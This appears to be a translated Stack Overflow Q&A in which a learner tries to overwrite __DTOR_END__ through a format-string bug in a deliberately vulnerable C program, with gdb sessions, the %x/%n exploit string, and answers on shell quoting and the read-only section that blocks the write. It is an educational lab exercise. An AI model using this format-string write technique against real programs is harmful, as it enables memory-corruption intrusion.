格式化字符串攻击 - 覆盖__DTOR_END__

时间:2016-04-07 05:39:21

标签: c linux printf format-string

我正在尝试重复此link讨论的攻击,但我无法成功。目标是通过格式字符串漏洞覆盖符号__DTOR_END__的值。

以下是我的尝试。脆弱的计划:

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {
    char buf[512];
    if (argc < 2) { printf("%s\n","Failed"); return 1; }
    snprintf(buf, sizeof(buf), argv[1]); // Vulnerable statement
    buf[sizeof (buf) - 1] = '\x00';
    return 0;
}

第1步:

$ gcc fmt.c -o fmt_g -g

第2步:

$ ltrace ./fmt_g 'AAAA.%9$x'
__libc_start_main(0x8048464, 2, 0xbffff404, 0x80484f0, 0x8048560  <unfinished ...>
snprintf("AAAA.41414141", 512, "AAAA.%9$x", 0x20)                        = 13
+++ exited (status 0) +++
$

这表明与0x41对应的十六进制A在9 %x之后打印。

第3步:

$ nm fmt_g | grep DTOR
  08049f20 D __DTOR_END__
  08049f1c d __DTOR_LIST__
$ 

__ DTOR_END__的地址为0x08049f20

第4步:

$ gdb fmt_g
(gdb) disas main
      ...
      0x080484bb <+87>: call   0x80483a0 <snprintf@plt>
      ...
(gdb) (gdb) break *main+87
      Breakpoint 1 at 0x80484bb: file fmt_g.c, line 7.
(gdb) r $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
      Starting program: fmt2_g $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n

      Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt_g.c:7
      7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) s

      Program received signal SIGSEGV, Segmentation fault.
      0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) 

我得到了SIGSEGV。我在Linux机器上尝试这个,这是一个小端。 出于好奇,我试图以相反的方式使用地址:

(gdb) r $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
      Starting program: fmt2_g  $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n

      Breakpoint 1, 0x080484bb in main (argc=3, argv=0xbffff3a4) at fmt2_g.c:7
      7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) s
      8 buf[sizeof (buf) - 1] = '\x00';
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) 

我不知道自己做错了什么。我的想法是我没有正确使用__ DTOR_END__的地址。有人可以提供一些提示吗?

2 个答案:

答案 0 :(得分:1)

问题其实非常简单:你的shell正在解释printf的输出。 \x20是一个空格字符,因此在第一个示例中,shell基本上剥离了空格并传递崩溃的\x9f\x04\x08AAAA%x%x...(通过尝试写入地址0x4108049f)。在第二个示例中,您最终传递了两个参数\x08\x04\x9fAAAA%x%x...;第一个论点并没有做任何有趣的事情,所以没有崩溃。

要修复,只需将整个参数括在引号中:r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"。将来,这里有一些调试提示要记住(我经常使用):

  • 始终检查程序崩溃的原因。 disas(或者,如果需要,x/i $pc)将告诉您崩溃的指令,info reg将向您显示寄存器;在一起,这将告诉你程序在崩溃时正在尝试做什么。例如,在第一种情况下,您应该看到mov指令正在尝试写入某个寄存器定义的存储器地址,并且寄存器设置为0x4108049f。
  • 检查您的输入。它可以快速检查p argv[1]以确保您获得正确的输入。通常很容易忽略嵌入的空格,NUL或高ASCII字符导致输入例程提前终止。

答案 1 :(得分:0)

根据@ nneonneo的回答,我尝试了以下内容:

(gdb) b *main+87
Breakpoint 1 at 0x80484bb: file fmt2.c, line 11.
(gdb) r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Starting program: fmt2_g "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"

Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt2.c:11
11      snprintf(buf, sizeof(buf), argv[1]);
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) info reg
eax            0x8049f20    134520608
ecx            0xbffff0fc   -1073745668
edx            0xb7e64c1a   -1209644006
ebx            0xb7fc4ff4   -1208201228
esp            0xbfffe9c0   0xbfffe9c0
ebp            0xbfffef78   0xbfffef78
esi            0xbfffefb0   -1073746000
edi            0x34 52
eip            0xb7e66bcd   0xb7e66bcd <vfprintf+16669>
eflags         0x210296 [ PF AF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) x/i $pc
=> 0xb7e66bcd <vfprintf+16669>: mov    %edi,(%eax)
(gdb)

0x08049f20的mov操作会导致SIGSEGV。我检查了proc的内存映射:

 (gdb) info proc
 process 6303

 root@pc:/proc/6303# cat maps
 08048000-08049000 r-xp 00000000 08:01 1720261  fmt2_g
 08049000-0804a000 r--p 00000000 08:01 1720261  fmt2_g
 0804a000-0804b000 rw-p 00001000 08:01 1720261  fmt2_g

地址08049f20不可写。我想这就是SIGSEGV发生的原因。

我不知道它是否可以映射为可写。